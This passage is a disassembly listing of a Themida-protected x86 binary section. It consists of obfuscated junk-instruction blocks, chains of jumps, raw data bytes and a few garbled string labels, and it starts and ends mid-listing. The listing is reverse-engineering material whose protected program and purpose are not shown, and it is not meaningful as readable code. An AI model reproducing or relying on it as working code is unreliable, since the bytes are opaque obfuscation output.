; ---------------------------------------------------------------------------


loc_55DF4F:				; CODE XREF: Themida_:0056F358j
		push	edx
		mov	edx, 24h
		add	edx, edi
		jmp	loc_566AD7
; ---------------------------------------------------------------------------


loc_55DF5C:				; CODE XREF: Themida_:00560540j
		push	eax
		mov	eax, 6ADD033Ah
		xor	edx, eax
		pop	eax
		push	edi
		mov	edi, 90E355Eh
		jmp	loc_56580A
; ---------------------------------------------------------------------------


loc_55DF70:				; CODE XREF: Themida_:00570FEBj
		mov	eax, [esp]
		push	edi
		jmp	loc_55D6DF
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C5h
		dd 5A13063Fh, 4C781h, 3C870000h, 0C1665C24h, 565008EAh
		dd 5AC0BE66h, 8C68166h,	0F08966F4h, 6652665Eh, 66737BBAh
		dd 5A66D031h, 114F1E9h,	241C8B00h, 0E904C483h, 110EFh
; ---------------------------------------------------------------------------


loc_55DFB8:				; CODE XREF: Themida_:00565EBDj
		mov	edi, [esp]
		jmp	loc_5673C2
; ---------------------------------------------------------------------------
aIssz6		db '䇎z6',0
		db 0
; ---------------------------------------------------------------------------


loc_55DFC7:				; CODE XREF: Themida_:0056454Fj
		xor	ebp, 0F56098C2h
		jmp	loc_5666BC
; ---------------------------------------------------------------------------
a0_0		db '³»0Ø[',0
aSu		db 'Çéž±',0
		align 2
		dw 558h
		dd 4, 4A2BE9h, 0E2815A00h, 153569F3h, 4202EAC1h, 0F9DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DFF9:				; CODE XREF: Themida_:00566707j
		sub	edi, 38D35A34h
		add	edi, 12C13F82h
		jmp	loc_5659A7
; ---------------------------------------------------------------------------


loc_55E00A:				; CODE XREF: Themida_:0055D139j
		push	edx
		jmp	loc_55DCE3
; ---------------------------------------------------------------------------
		dd 4247C01h, 83243C8Bh,	835904C4h, 0E3E904ECh, 5700000Fh
		dd 0EBE5650h, 0E95D310Dh, 2DFBh, 629FEB81h, 0F7E9D164h
		dd 80000021h, 0E95DEFh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E043:				; CODE XREF: Themida_:0055D5CAj
		mov	[esp], eax
		jmp	loc_5684BE
; ---------------------------------------------------------------------------


loc_55E04B:				; CODE XREF: Themida_:0055EA2Dj
		add	eax, ebp
		jmp	loc_566010
; ---------------------------------------------------------------------------


loc_55E052:				; CODE XREF: Themida_:0057110Aj
		push	ecx
		jmp	loc_5627E6
; ---------------------------------------------------------------------------
		dd 8924248Bh, 62E9240Ch, 66FFFFEEh, 7CB35351h, 0D9281AB1h
		dd 83241C8Bh, 0B15104C4h, 68C18023h, 0E902E1C0h, 9F43h
; ---------------------------------------------------------------------------


loc_55E080:				; CODE XREF: Themida_:00567003j
		shr	ecx, 5
		jmp	loc_56C2C0
; ---------------------------------------------------------------------------
		dd 1A8368h, 243C8900h, 0FE3E78BFh, 0E8C4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E09A:				; CODE XREF: Themida_:0056C183j
		push	edi
		jmp	loc_560758
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 37C68100h, 0E965692Ch, 10902h, 2474FF55h
		dd 242C8B04h, 81E18951h, 4C1h, 4C18100h, 87000000h, 8F5C240Ch
		dd 895C2404h, 4812424h,	424h, 24148B00h, 5004C483h, 4B8h
		dd 0E9C20100h, 11B7Dh, 0C15DEB01h, 6CE908E3h, 6800001Bh
		dd 3E1Bh, 0E9240489h, 0F1Fh, 31241C33h,	1C33241Ch, 24248B24h
		dd 0E930FF66h, 0FFFFEDA9h
; ---------------------------------------------------------------------------


loc_55E11C:				; CODE XREF: Themida_:005654CBj
		mov	ebx, 0
		add	ebx, 107A1853h
		jmp	loc_563C0F
; ---------------------------------------------------------------------------


loc_55E12C:				; CODE XREF: Themida_:005611F4j
		mov	ebp, eax
		jmp	loc_570EAC
; ---------------------------------------------------------------------------
aSs_0		db 'Sé¾<',0
		db 0
; ---------------------------------------------------------------------------


loc_55E139:				; CODE XREF: Themida_:0056A8E9j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	66DCh
		jmp	loc_56F34F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 61E82D48h, 0FFC8015Ah, 56592434h, 0C681E689h, 4, 3304C683h
		dd 34312434h, 5B18E924h, 262D0000h, 0E92AC464h,	3A72h
		dd 4EC81h, 34890000h, 7684BE24h, 0E9574005h, 14BFh, 4C481h
		dd 55580000h, 0ED582DBDh, 5DE82945h, 0A4C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E1A5:				; CODE XREF: Themida_:0056A126j
		mov	ebp, 22241AA1h
		neg	ebp
		add	ebp, 3A494FBDh
		sub	ebp, 4B2E730Fh
		shr	ebp, 6
		shr	ebp, 6
		sub	ebp, 85F8552Bh
		add	edi, ebp
		jmp	loc_560550
; ---------------------------------------------------------------------------


loc_55E1CB:				; CODE XREF: Themida_:0055F364j
		pop	ebx
		push	ebx
		mov	ebx, 35D156C9h
		sub	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 2DEB376Ah
		shr	ecx, 5
		push	edx
		mov	edx, 0FE90A644h
		jmp	loc_5633BD
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 4C08300h, 0E9240487h, 0FFFFF201h, 8704C283h, 2DE92414h
		dd 890000F7h, 4BD242Ch,	1000000h, 0C875DE9h, 0EC835C24h
		dd 243C8904h, 0D63D12BFh, 0E2F7814Ch, 0E9775C58h, 0B74Ch
; ---------------------------------------------------------------------------


loc_55E22C:				; CODE XREF: Themida_:0056463Bj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ebx, 4AED6685h
		push	ebx
		sub	dword ptr [esp], 65D37963h
		pop	edx
		jmp	loc_56B6EB
; ---------------------------------------------------------------------------


loc_55E247:				; CODE XREF: Themida_:0056353Dj
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 70AA1CD9h
		and	ebx, 7437758Dh
		push	ebx
		jmp	loc_56B3F1
; ---------------------------------------------------------------------------
		dw 6A68h
		dd 8900007Eh, 81E92414h, 68000051h, 4, 0D25E95Dh, 0C1810000h
		dd 4, 8704C183h, 98E9240Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E28B:				; CODE XREF: Themida_:00563E96j
		mov	[esp], ebx
		mov	ebx, 0A9D9EA89h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_567C1F
; ---------------------------------------------------------------------------


loc_55E2A0:				; CODE XREF: Themida_:005724F6j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55D490
; ---------------------------------------------------------------------------


loc_55E2B8:				; CODE XREF: Themida_:005632F5j
		neg	esi
		add	esi, 0EBB00142h
		or	ebx, esi
		pop	esi
		or	ebx, 0C636C9Eh
		push	eax
		mov	eax, 56070AFEh
		add	eax, 24C01DC5h
		add	ebx, eax
		pop	eax
		or	eax, ebx
		pop	ebx
		xor	eax, 52020D32h
		xor	eax, 2DE5FACFh
		mov	edi, eax
		pop	eax
		jmp	loc_56F0DD
; ---------------------------------------------------------------------------


loc_55E2EC:				; CODE XREF: Themida_:0055F4C2j
		inc	esi
		sub	esi, 0F4A1A2D6h
		mov	edx, esi
		pop	esi
		jmp	loc_564D42
; ---------------------------------------------------------------------------


loc_55E2FB:				; CODE XREF: Themida_:0056DEDBj
		mov	ebx, 4
		push	edx
		mov	edx, 55983C38h
		sub	edi, edx
		pop	edx
		sub	edi, 2E75123Eh
		add	edi, ebx
		add	edi, 2E75123Eh
		jmp	loc_55E589
; ---------------------------------------------------------------------------
		dd 241C875Dh, 2404305Ch, 0BC62E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E32A:				; CODE XREF: Themida_:0056C5B5j
		and	edx, 5B8A2AF9h
		add	edx, 65131C48h
		jmp	loc_56B302
; ---------------------------------------------------------------------------
		db 52h
		dd 613DE4BAh, 197EBF07h, 0D7310275h, 5FFB015Ah,	6DA8EB81h
		dd 0E9526098h, 1114h
; ---------------------------------------------------------------------------


loc_55E358:				; CODE XREF: Themida_:0056A645j
		sub	esp, 4
		mov	[esp], ebx
		push	17D43B57h
		jmp	loc_568875
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5704C4h, 5F042474h, 0E924048Fh, 7FCBh, 2B68B850h
		dd 18256716h, 2516E030h, 76FF0B66h, 246FE952h, 0EA810000h
		dd 1, 76A4E9h, 5BDE8900h, 1CB6E681h, 0DEF763D5h, 1998EE81h
		dd 0C7812FDDh, 3D723519h, 0EF81F729h, 3D723519h, 8528E95Eh
		dd 34FF0000h, 2434FF24h, 0F33EE9h, 0C5885100h, 8859EA88h
		dd 0D9885AD3h, 4EC835Bh, 0CEB5E9h, 88C78000h, 28A1EF80h
		dd 9E95BFDh, 8100012Fh,	0F3F542EFh, 5FFA29D0h, 0F581E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E3FD:				; CODE XREF: Themida_:005656BCj
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_560521
; ---------------------------------------------------------------------------
		dd 68h,	240C2900h, 81414159h, 0A3FBACC1h, 59CF8924h, 3C8BFA31h
		dd 4C48324h, 0FE9D031h,	890000EAh, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 71DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E441:				; CODE XREF: Themida_:0056114Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D97A
; ---------------------------------------------------------------------------


loc_55E458:				; CODE XREF: Themida_:00567FE4j
		pop	ecx
		mov	ecx, edx
		pop	edx
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 50B7815h
		push	edi
		push	ecx
		pop	edi
		push	edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_566EF4
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4A4F080Fh, 319FEB81h, 0EB012512h, 319FC381h,	0D4E92512h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4A3:				; CODE XREF: Themida_:0055DCD6j
		add	esi, edx
		jmp	loc_572380
; ---------------------------------------------------------------------------


loc_55E4AA:				; CODE XREF: Themida_:0056DAFFj
		dec	eax
		not	eax
		jmp	loc_5676C6
; ---------------------------------------------------------------------------
aIs		db 'Iéµ',0Ah,0
		align 4


loc_55E4B8:				; CODE XREF: Themida_:0055ECFAj
		add	ebx, 704C063Ah
		push	edx
		mov	edx, 6FD72CADh
		sub	ebx, edx
		jmp	loc_565519
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0B3E2ADAh, 158C629h,	0DAC681CEh, 8B0B3E2Ah, 0C483240Ch
		dd 4547E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E4E6:				; CODE XREF: Themida_:00568A25j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5659F0
; ---------------------------------------------------------------------------
		dd 88DD8851h, 34FF59EEh, 54555B24h, 4EC815Dh, 89000000h
		dd 0BBB9240Ch, 0F731A44Eh, 3BC981D1h, 810A5D0Eh, 4ECh
		dd 24048900h, 5FBF7BB8h, 88C181CEh, 0E943C257h,	10D3Fh
		dd 532CDC24h, 0C780F886h, 262E901h, 0E2800001h,	36668F9h
		dd 34890000h, 81E68924h, 4C6h, 4EE8300h, 11176E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E559:				; CODE XREF: Themida_:005666B7j
		pop	esp
		xor	ebx, eax
		push	2880h
		jmp	loc_566FD5
; ---------------------------------------------------------------------------


loc_55E566:				; CODE XREF: Themida_:0056F31Cj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55F095
; ---------------------------------------------------------------------------
		db 66h
		dd 661FD168h, 0B1240C89h, 45F180EBh, 136EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E589:				; CODE XREF: Themida_:0055E317j
		add	edi, 55983C38h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5717BA
; ---------------------------------------------------------------------------
		dw 23BDh
		dd 0E933FC47h, 0CA95h, 595BF781h, 0FA291397h, 68574A5Fh
		dd 414Eh, 0E9241C89h, 13D7h
; ---------------------------------------------------------------------------


loc_55E5BC:				; CODE XREF: Themida_:0056EA91j
		pop	edx
		jmp	loc_5657E1
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 81240C8Bh, 4C4h, 24143300h, 1DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5D5:				; CODE XREF: Themida_:00566E25j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55E5E3:				; CODE XREF: Themida_:0056B1CBj
					; Themida_:00572431j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		push	430Fh
		jmp	loc_561E1E
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 13436E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E5FD:				; CODE XREF: Themida_:00561CF4j
		sub	edx, edi
		add	edx, 1B1B6A7Eh
		jmp	loc_55FB19
; ---------------------------------------------------------------------------


loc_55E60A:				; CODE XREF: Themida_:005601D4j
		push	5905h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5663EC
; ---------------------------------------------------------------------------
		dw 0C1B9h
		dd 14EE070h, 0DEB2E9C8h, 0CD810000h, 5B113A9Eh,	0B5F8E9h
		dd 58C28900h, 875AD601h, 0E95C2434h, 0FFFFFBA5h
; ---------------------------------------------------------------------------


loc_55E644:				; CODE XREF: Themida_:005616C6j
		mov	[esp], esp
		push	edi
		jmp	loc_55D13E
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E2892414h, 0A7A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E65D:				; CODE XREF: Themida_:0056916Aj
		add	edi, 34E47F4Dh
		jmp	loc_568DF0
; ---------------------------------------------------------------------------


loc_55E668:				; CODE XREF: Themida_:00560C05j
		or	eax, eax
		jnz	loc_56CD62
		push	ebx
		push	47912EBh
		mov	ebx, [esp]
		add	esp, 4
		push	1E09h
		mov	[esp], edi
		mov	edi, 7A754FEDh
		push	esi
		mov	esi, 71C563DFh
		add	edi, esi
		pop	esi
		not	edi
		inc	edi
		jmp	loc_55D16D
; ---------------------------------------------------------------------------


loc_55E69D:				; CODE XREF: Themida_:0056B126j
		pop	edi
		add	edx, edi
		pop	edi
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5706B8
; ---------------------------------------------------------------------------


loc_55E6B0:				; CODE XREF: Themida_:0056B0A8j
		add	esi, 4
		jmp	loc_56A65C
; ---------------------------------------------------------------------------


loc_55E6B8:				; CODE XREF: Themida_:0056C80Bj
		add	edx, 4
		push	ebp
		push	edx
		push	ebp
		mov	ebp, 4
		push	ebp
		pop	edx
		pop	ebp
		mov	ebp, edx
		jmp	loc_564D74
; ---------------------------------------------------------------------------
		dd 815AD731h, 0DE42A3F7h, 8BFD8946h, 0C481243Ch, 4, 1855ED81h
		dd 0EDC11DA9h, 7EDC106h, 0AAC58145h, 0E9FFFFD0h, 8A74h
		dd 74E9D101h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E703:				; CODE XREF: Themida_:0056C0B4j
		add	edi, 4
		jmp	loc_571CBD
; ---------------------------------------------------------------------------
		dw 575Dh
		dd 458A0BFh, 247C2909h,	7C015F08h, 44810424h, 58A00424h
		dd 0E95F0904h, 0F4C2h, 83242C8Bh, 0C28104C4h, 2, 2474FF52h
		dd 58FAE904h, 0C7830000h, 243C8704h, 5324248Bh,	0EC81E389h
		dd 4, 0BF243C89h, 1F7C2EDCh, 1F21EF81h,	0C7811CD4h, 185D1154h
		dd 2150E9h, 0C7815F00h,	4, 64C8E9h, 74FF5200h, 0A8E90424h
		dd 81000017h, 360CC3h, 5BDF0108h, 2474FF57h, 243C8B04h
		dd 8F04C483h, 0E95C2404h, 4999h, 668368h, 4EC8100h, 89000000h
		dd 0F0E92404h, 3100000Fh, 14332414h, 24248B24h,	0E9240C89h
		dd 1B00h, 0C281E289h, 4, 1C2AE9h, 26800h, 1C8B0000h, 477BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E7DE:				; CODE XREF: Themida_:00568491j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		jmp	loc_56DFF3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 6866F9F7h, 89660FA2h, 50662414h, 0E6BFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E806:				; CODE XREF: Themida_:00567772j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56AA6A
; ---------------------------------------------------------------------------
		dd 8792D0F7h, 17F781D7h, 51F84EABh, 335421B9h, 59CB2925h
		dd 0C381FB01h, 25335421h, 0EBB9515Fh, 292E2A34h, 0EC8159CBh
		dd 4, 0E9243489h, 0EF2Bh, 0EF81EF01h, 2C8F3BBFh, 5A22BA52h
		dd 0BAE916D3h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E85B:				; CODE XREF: Themida_:0056CC83j
		add	esp, 4
		jmp	loc_570073
; ---------------------------------------------------------------------------


loc_55E863:				; CODE XREF: Themida_:00560769j
		xor	ecx, [esp]
		pop	esp
		push	18C9h
		mov	[esp], ebx
		push	ebp
		push	ebx
		mov	ebx, 74814095h
		mov	ebp, ebx
		pop	ebx
		and	ebp, 60262EF0h
		jmp	loc_571DA9
; ---------------------------------------------------------------------------
		dd 396668h, 240C8900h, 80B4E9h,	242C8B00h, 4C481h, 0E9500000h
		dd 65F4h, 0C003E6C0h, 0EE8003E6h, 1A69E99Eh, 69B50000h
		dd 8B66E828h, 0DFE9240Ch, 0BD0000A0h, 35127595h, 34FFEF31h
		dd 0DAE95D24h, 890000C9h, 0D6015EF2h, 7508685Ah, 14890000h
		dd 2A685124h, 0FF4A5C32h, 83592434h, 4FE904C4h,	810000A0h
		dd 2C7CBCC2h, 9DBD5532h, 29500E42h, 0E8E95DEAh,	8800011Ah
		dd 0E9515AF5h, 1059Ch, 4240481h, 58000000h, 405h, 4072E900h
		dd 0D5F70000h, 0FFF5814Dh, 89E868A5h, 0F7965DEEh, 790C68D0h
		dd 34890000h, 585E5024h, 8108E6C1h, 4ECh, 241C8900h, 0FCBB5351h
		dd 0E90F9F31h, 4509h, 72E26853h, 24890000h, 0CB60E924h
		dd 0EC810000h, 4, 0BE243489h, 4, 4247401h, 2434FF5Eh, 8B2434FFh
		dd 0C481240Ch, 4, 4C481h, 0C4810000h, 4, 4BD5556h, 89000000h
		dd 347FE9EEh, 34890000h, 52E68924h, 9E269FBAh, 0CAE2E97Eh
		dd 555D0000h, 11D69E9h,	0E9E60000h, 35E7h, 52E9D001h, 570000F8h
		dd 5F2414F7h, 4FBFEF81h, 0FD09F3CEh, 0C581455Fh, 8001B024h
		dd 515DEF01h, 4B9h, 0FFCF0100h,	0E9592434h, 0FFFFF987h
		dd 60AAF181h, 8141452Bh, 5229BAF1h, 8BC82907h, 8DE9240Ch
		dd 0FF0000F8h, 48B2434h, 4C48124h, 81000000h, 4ECh, 242C8900h
		dd 9816E954h, 0E3280000h, 0D7B05058h, 0C0FEC8FEh, 0E0C0C0FEh
		dd 0E9230C03h, 0E04Dh
; ---------------------------------------------------------------------------


loc_55EA2C:				; CODE XREF: Themida_:0056863Bj
		pop	ebp
		jmp	loc_55E04B
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24143124h, 0E9241433h, 3EFFh, 45EFBA52h, 0E2814497h
		dd 3C897C5Fh, 6B6CA81h,	0D3E90D5Ah
		db 0D7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EA57:				; CODE XREF: Themida_:005698CEj
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 68h
		dd 2AD6h, 52242C89h, 604AF68h, 574A5A4Ah, 95668BBFh, 85C78147h
		dd 0E9236A66h, 9C0Dh, 6E9F301h,	5A0000C2h, 1C0E9h, 4CB8100h
		dd 813EC32Eh, 580C7CF3h, 0E9D8896Eh, 114F2h, 7083BE56h
		dd 74297A81h, 295E0824h, 8104245Ch, 83042444h, 577A8170h
		dd 0D315D9BFh, 2A35E908h, 68AC0001h, 6202h, 50240C89h
		dd 0F9B13FB0h, 2C58C130h, 4C8288Dh, 2434FF8Dh, 4C48359h
		dd 0B652D828h, 18E668A9h, 4890000h, 5E08924h, 4, 2BA52h
		dd 0D0290000h, 13925E9h, 24348700h, 8FD9E9h, 0E9535800h
		dd 10299h, 0FE24248Bh, 0E99C2404h, 0FFFFE399h, 4C681h
		dd 80E90000h, 5E00007Ch, 0A65CEE81h, 0F001D0A3h, 0B734E95Eh
		dd 0E95D0000h, 0E7Dh, 489665Ch,	4EC8124h, 89000000h, 37E9241Ch
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB5F:				; CODE XREF: Themida_:00569C97j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56A92F
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 34FF0424h, 0C4815824h, 4, 8B24048Fh,	0C3682424h, 89000000h
		dd 3CBB241Ch, 510A136Fh, 0FFEE8EE9h, 2FE95AFFh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EBA3:				; CODE XREF: Themida_:005660F2j
		neg	edi
		sub	edi, 88FAA2D1h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55FA47
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 83D4C581h, 63E90E81h, 0C1000139h, 0DBF706EBh, 4FEF381h
		dd 0BA522254h, 2F705AA0h, 10E3CE9h, 0E1B85000h,	0D5C2645h
		dd 19D13E3Dh, 8051005h,	8E8C11Fh, 1DEE0540h, 0C6290807h
		dd 7E3FE958h, 5660000h,	0C4E95F08h, 5C000120h, 4BEA68h
		dd 243C8900h, 2434FF54h, 0C5C5E9h, 5FFA0100h, 66E9D689h
		dd 51000008h, 0F3EAE9h,	24048700h, 4EC815Ch, 89000000h
		dd 48B2414h, 0AB50E924h, 34FF0000h, 24048B24h, 8904EC83h
		dd 0E6892434h, 5615E9h,	4B95100h, 1000000h, 0C28159CAh
		dd 4, 2C37E9h, 240C8700h, 6624248Bh, 50241489h,	52B270B0h
		dd 6658C230h, 0FC24E951h, 0FB01FFFFh, 0F5E8E95Fh, 1C330000h
		dd 241C3124h, 8B241C33h, 4892424h, 799D6824h, 24890000h
		dd 4BE5624h, 1000000h, 8B042474h, 0C4812434h, 4, 40558h
		dd 73E90000h, 8100001Ch, 501C56C7h, 0EF81580Dh,	315820ABh
		dd 0BE56F701h, 315820ABh, 94E9F701h, 5800010Ch,	36B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ECE9:				; CODE XREF: Themida_:0055D1EAj
		push	ebx
		mov	ebx, 57874DC0h
		shr	ebx, 3
		add	ebx, 164B648Ah
		neg	ebx
		jmp	loc_55E4B8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F74B43D3h, 89F381DBh, 1CE9FD1h, 241C8BD9h, 4C481h
		dd 0C2810000h, 29821851h, 0BF57CA01h, 29821851h, 0E95FFA29h
		dd 0D153h, 0BA241489h, 34DF081Ch, 0D325EA81h, 75E929CCh
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ED3F:				; CODE XREF: Themida_:00569874j
		add	ebp, ecx
		add	ebp, 161158C2h
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		push	ebx
		jmp	loc_563FF7
; ---------------------------------------------------------------------------


loc_55ED66:				; CODE XREF: Themida_:0056FC7Dj
		add	eax, ecx
		pop	ecx
		mov	ecx, [eax]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	4C45h
		mov	[esp], esi
		push	4C83h
		jmp	loc_55DC39
; ---------------------------------------------------------------------------


loc_55ED8C:				; CODE XREF: Themida_:0056B704j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_565046
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3721167Dh, 0F6E9D101h, 8BFFFFFDh, 89522434h,	4C281E2h
		dd 83000000h, 148704C2h, 81415C24h, 2D08FBF1h, 0E9C82911h
		dd 858Fh, 5224048Bh, 0FFE2DCE9h, 4C483FFh, 3C0CE9h, 24248900h
		dd 4EC81h, 2C890000h, 4BD24h, 6C010000h, 2C8B0424h, 8D0E924h
		dd 0C2010000h, 56C1E958h, 56B90000h, 810EBA18h,	5B2E43C1h
		dd 0D8F1812Dh, 815FA016h, 83384CC1h, 0F7D1F733h, 87D1F7D9h
		dd 4EC81D1h, 89000000h,	14F72414h, 0D1875A24h, 30CBE9h
		dd 85B65200h, 515AF488h, 0D1F6E188h, 0E959CC88h, 668Ch
; ---------------------------------------------------------------------------


loc_55EE44:				; CODE XREF: Themida_:0057083Ej
		add	ebx, 1C432B3Ah
		add	ebx, edi
		sub	ebx, 1C432B3Ah
		push	eax
		mov	eax, 21833CB3h
		dec	eax
		sub	eax, 9A4E2FFh
		add	ebx, eax
		pop	eax
		sub	ebx, 2B941A7Fh
		xor	[ebx], ecx
		mov	ebx, [esp]
		add	esp, 4
		inc	ecx
		jmp	loc_56B79F
; ---------------------------------------------------------------------------
		dd 8704C283h, 805C2414h, 46E936E9h, 810000DDh, 0F66CFBEFh
		dd 9E8E91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE92:				; CODE XREF: Themida_:00568150j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_569157
; ---------------------------------------------------------------------------
aL4Sz8		db '‹4$é§8',0
		align 4
aIrsG		db '䈎(g',0
		dw 8100h
		dd 0DFAAF1C7h, 809EE917h, 4B90000h, 1000000h, 0EC8159C8h
		dd 4, 0FF240489h, 58042474h, 77AAE9h, 2474FF00h, 48F5904h
		dd 53665C24h, 0FD2843B7h, 241C8B66h, 2C02C483h,	0E91404C5h
		dd 11DFCh, 2414895Ch, 2EE95450h, 280000C0h, 240C8BC8h
		dd 6604C483h, 1F43E953h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55EF0E:				; CODE XREF: Themida_:0056F25Fj
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		push	ebp
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	ebp
		jmp	loc_56CA31
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C3302424h, 66C0B60Fh, 8124148Bh, 4ECh, 706DE900h, 0F1810000h
		dd 1BA17476h, 0A540E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EF45:				; CODE XREF: Themida_:0056D637j
		push	ebx
		push	ebp
		jmp	loc_55DA5D
; ---------------------------------------------------------------------------


loc_55EF4C:				; CODE XREF: Themida_:0056E56Bj
		pop	esp
		mov	[esp], eax
		mov	eax, 1BC12994h
		add	esi, eax
		pop	eax
		jmp	loc_55EFB5
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 36D4BF24h, 0F92130BAh, 0F291E9h, 0BA525500h,	47975BAAh
		dd 0E3DAE9h, 0B6EE8100h, 8125D33Fh, 245995C6h, 81DE0126h
		dd 245995EEh, 0C5BF5726h, 4F00F42Bh, 0C7ABE56h,	5AE92C84h
		dd 81000115h, 0FC796BC3h, 81EB0118h, 0FC796BEBh, 2434FF18h
		dd 5E2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EFB5:				; CODE XREF: Themida_:0055EF58j
		pop	ebx
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_564916
; ---------------------------------------------------------------------------
		dd 89243C89h, 4EC81E7h,	89000000h, 0F6E9240Ch
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFD3:				; CODE XREF: Themida_:0056DD73j
		mov	edx, esp
		push	ebx
		push	esi
		mov	esi, 65A440EBh
		mov	ebx, 9A5BBF19h
		add	ebx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56B0A2
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 7A666857h, 0C2E97EFAh, 580000B8h, 34FF5451h,	43BE924h
		dd 14890001h, 6B6FBA24h, 81423D28h, 3366EEC2h, 5AF28175h
		dd 50B25BD2h, 0CF3EFFB8h, 1E94851h, 89000119h, 30C768E0h
		dd 4890000h, 0E9585424h, 0B7ECh, 0CFABF281h, 0D601B580h
		dd 8274E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F045:				; CODE XREF: Themida_:00568035j
		mov	ecx, 2FC53FFh
		jmp	loc_55FCE7
; ---------------------------------------------------------------------------


loc_55F04F:				; CODE XREF: Themida_:0056C555j
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
